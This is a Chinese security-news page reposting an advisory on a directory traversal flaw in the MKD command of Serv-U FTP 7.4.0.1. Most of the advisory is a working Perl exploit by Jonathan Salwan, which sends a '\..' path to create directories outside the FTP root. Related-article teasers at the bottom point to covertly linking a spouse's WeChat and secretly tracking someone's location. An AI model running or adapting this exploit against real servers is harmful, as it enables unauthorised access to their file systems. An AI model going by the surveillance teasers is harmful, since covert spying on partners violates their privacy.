Serv-U FTP服务器MKD命令目录遍历漏洞

访客3年前黑客资讯606

影响版本:
RhinoSoft Serv-U 7.4.0.1
漏洞描述:
BUGTRAQ  ID: 34125

Serv-U FTP是一款FTP服务程序。

如果远程攻击者向Serv-U FTP服务器发送了包含有“\\..”字符序列的MKD请求的话,就可以通过目录遍历攻击绕过FTP root限制在系统上创建任意目录。<*参考
Jonathan Salwan (submit@shell-storm.org)
http://www.sebug.net/exploit/5986/
*>
SEBUG安全建议:
厂商补丁:

RhinoSoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.serv-u.com/
测试 *** :
[www.sebug.net]
本站提供程序( *** )可能带有攻击性,仅供安全研究与教学之用,风险自负!
 

#!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# A vulnerability is caused due to an input validation error when handling FTP "MKD"
# requests. This can be exploited to escape the FTP root and create arbitrary directory on
# the system via directory traversal attacks using the "\.." character sequence.
#
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";

 if (@ARGV < 4)
  {
   print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";
   print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";
   exit;
  }

 $ip  = $ARGV[0];
 $port  = $ARGV[1];
 $user = $ARGV[2];
 $pass = $ARGV[3];
 $dir = $ARGV[4];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";

print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";

 print $socket "USER $user\r\n";
 print $socket "PASS $pass\r\n";
 print $socket "MKD $dir\r\n";

  sleep(3);
  close($socket);

print "[+]Done! directory $dir has been created\n";

 

标签: 好话题

相关文章

Golang TLS双向身份认证DoS漏洞分析(CVE-2018-16875)_基站

一、前言 如果程序源代码使用Go语言编写,并且用到了单向或者双向TLS认证,那么就容易受到CPU拒绝服务(DoS)攻击。Go语言的crypto/x509标准库中的校验算法存在逻辑缺陷,攻击者可以精心...

杭州职业技术学院怎么样

2007年,通过全国高职高专人才培养工作水平优秀评估;2008年,被确定为浙江省示范性高等职业院校建设单位。学校位于杭州经济技术开发区,占地1000亩,设友嘉机。 我也没研究过这个学校、、找来的、对你...

怎样偷偷关联老公微信_腾讯云

关联老公微信是一件好事情,但是偷偷关联就是不可取的,在没有得到老公的允许的情况就关联微信,查看微信聊天记录,会引起不必要的矛盾纠纷,今天,小编谈到的话题是怎样偷偷关联老公微信话题,这个话题就是死话题,...

黑客微信定位是真的吗(偷看对方位置)_黑客

一般情况下,我们在使用微信定位是为了找一个地方或者是为了方便别人找到自己,但是有一些人他们想在别人不知道的情况下去定位其他的位置,可以做到吗,他们是怎么做的呢?下面给大家看看黑客是在别人不知道的情况下...

如何可以查询微信记录记录?专业方法是肯定你想要的(目前最有效的方法)

微信聊天记录删除了怎么恢复?查看到微信聊天记录怎么恢复?当微信聊天记录还存在手机上时,查看起来是比较简单的,大部分人都知道怎么查看,但删除的微信聊天记录,我们就不知道怎么弄了,如何查看微信删除的聊天...

怎么查国外酒店住宿记录,你知道吗

很快端午节也要到来了,我相信每个人都开始采取各种各样的方法来组成一个小长假,还有很多人非常兴奋,因为有可能这是一个和恋人在一起度过的节假日。不过如果说要和恋人出去开个小房间的话,大家一定要准备好自己的...